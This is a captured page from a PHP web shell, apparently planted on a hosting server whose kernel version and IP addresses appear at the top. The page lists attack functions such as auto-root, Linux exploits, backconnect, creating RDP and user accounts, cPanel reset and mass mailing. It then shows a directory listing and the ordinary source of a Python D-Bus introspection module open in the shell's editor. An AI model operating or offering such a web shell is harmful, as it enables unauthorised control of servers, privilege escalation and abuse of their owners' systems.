Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.116.20.108
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
slip /
dbus /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
146
B
-rw-r--r--
__init__.pyc
364
B
-rw-r--r--
__init__.pyo
364
B
-rw-r--r--
bus.py
1.33
KB
-rw-r--r--
bus.pyc
741
B
-rw-r--r--
bus.pyo
741
B
-rw-r--r--
constants.py
1.5
KB
-rw-r--r--
constants.pyc
260
B
-rw-r--r--
constants.pyo
260
B
-rw-r--r--
introspection.py
3.37
KB
-rw-r--r--
introspection.pyc
5.58
KB
-rw-r--r--
introspection.pyo
5.58
KB
-rw-r--r--
mainloop.py
3.33
KB
-rw-r--r--
mainloop.pyc
3.83
KB
-rw-r--r--
mainloop.pyo
3.83
KB
-rw-r--r--
polkit.py
8.88
KB
-rw-r--r--
polkit.pyc
9.18
KB
-rw-r--r--
polkit.pyo
8.93
KB
-rw-r--r--
proxies.py
1.86
KB
-rw-r--r--
proxies.pyc
1.49
KB
-rw-r--r--
proxies.pyo
1.49
KB
-rw-r--r--
service.py
7.87
KB
-rw-r--r--
service.pyc
6.59
KB
-rw-r--r--
service.pyo
6.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : introspection.py
#!/usr/bin/python # -*- coding: utf-8 -*- """Classes and functions to easily access DBus introspection data.""" from xml.etree.ElementTree import ElementTree from StringIO import StringIO class IElemMeta(type): """Metaclass for introspection elements. Sets elemname class member automatically from class name if not set explicitly. Registers classes for their element names.""" elemnames_to_classes = {} @classmethod def clsname_to_elemname(cls, clsname): elemname = "" for c in clsname: c_lower = c.lower() if c_lower != c: if len(elemname): elemname += "_" elemname += c_lower return elemname def __new__(cls, name, bases, dct): if name == "IElem": return type.__new__(cls, name, bases, dct) if 'elemname' not in dct: if not name.startswith("IElem"): raise TypeError("Class '%s' needs to set elemname (or be " "called 'IElem...'))" % name) dct['elemname'] = IElemMeta.clsname_to_elemname(name[5:]) elemname = dct['elemname'] if elemname in IElemMeta.elemnames_to_classes: raise TypeError("Class '%s' tries to register duplicate elemname " "'%s'" % (name, elemname)) kls = type.__new__(cls, name, bases, dct) IElemMeta.elemnames_to_classes[elemname] = kls return kls class IElem(object): """Base class for introspection elements.""" __metaclass__ = IElemMeta def __new__(cls, elem, parent=None): kls = IElemMeta.elemnames_to_classes.get(elem.tag, IElemMeta.elemnames_to_classes[None]) return super(IElem, cls).__new__(kls, elem, parent) def __init__(self, elem, parent=None): self.elem = elem self.parent = parent self.child_elements = [ IElem(c, parent=self) for c in elem ] def __str__(self): s = "%s %r" % (self.elemname if self.elemname else "unknown:%s" % self.elem.tag, self.attrib) for c in self.child_elements: for cc in str(c).split("\n"): s+="\n %s" % (cc) return s @property def attrib(self): return self.elem.attrib class IElemUnknown(IElem): """Catch-all for unknown introspection elements.""" elemname = None class IElemNameMixin(object): """Mixin for introspection elements with names.""" @property def name(self): return self.attrib['name'] class IElemNode(IElem, IElemNameMixin): """Introspection node.""" def __init__(self, elem, parent=None): super(IElemNode, self).__init__(elem, parent) self.child_nodes = [ c for c in self.child_elements if isinstance(c, IElemNode) ] class IElemInterface(IElem): """Introspection interface.""" class IElemMethod(IElem): """Introspection interface method.""" class IElemArg(IElem): """Introspection method argument.""" class IElemSignal(IElem, IElemNameMixin): """Introspection interface signal.""" def introspect(string_or_file): tree = ElementTree() # assume string if read() method doesn't exist, works for string, unicode, # dbus.String if not hasattr(string_or_file, "read"): string_or_file = StringIO(string_or_file) xml_root = tree.parse(string_or_file) elem_root = IElem(xml_root) return elem_root
Close